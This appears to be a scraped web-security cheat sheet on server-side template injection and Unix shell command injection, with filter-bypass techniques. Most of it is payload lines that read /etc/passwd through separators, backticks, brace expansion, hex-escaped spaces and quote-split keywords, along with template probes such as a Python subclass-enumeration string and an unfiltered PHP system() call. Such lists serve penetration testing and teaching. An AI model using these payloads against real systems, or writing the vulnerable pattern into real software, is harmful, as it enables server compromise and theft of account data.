{{ get_user_file("/etc/passwd") }}
{{4+4}}
{{4+8}}
{{person.secret}}
{{person.name}}
{1} + {1}
{% For c in [1,2,3]%} {{c, c, c}} {% endfor%}
{{[] .__ Class __.__ base __.__ subclasses __ ()}}

Shell commands injection

Command Injection: Principle

Shell command injection is possible when a program uses a data, entered by the user, without filtering it, as an argument of a shell command.

Example: You enter your name in a Web Form, your name is sent to the server then used in a shell command. The server-side code looks like:

system ('echo '.$NAME);

Instead of just entering Yolo, you enter:

 code>YOLO; cat /etc/password;

The server will chain the two commands by executing:

system ('echo YOLO; cat /etc/password;');

It is then possible to dump the content of the passwd file.

A command injection gives full control over the server. One can retrieve informations about the server (uname -a), account names (cat /etc/passwd), web server config files, launch a reverse shell…

Unix: Chaining shell commands

Commands separators are : ; && | ||

echo YOLO; uname -a; cat /etc/passwd
echo YOLO && cat /etc/passwd
echo YOLO | cat /etc/passwd
echo YOLO || cat /etc/passwd    Only if the first cmd fail

Unix: Force command execution in a string

To force command execution in a string let use ` $ or {

echo `cat /etc/passwd`
echo $(cat /etc/passwd)
echo {cat,/etc/passwd}

Bypass: Spaces are filtered

Developpers sometimes add filters to avoid command injection. For exemple, they could filter Spaces. Hopefully, even without spaces it’s still possible to launch shell commands:

cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X

Bypass: Some keywords are filtered

A keyword based filter is easy to bypass using simple quote, double quote, backslash et slash

c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd
who``ami

In case the file ‘/etc/passwd’ is filtered, just add /

c\at /etc////////passwd

Instasav.in

Command injection for Unix and Windows Cheat sheet

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127.0.0.1 |cat /etc/passwd

Unix Command injection

Windows Command injection

Shell commands injection

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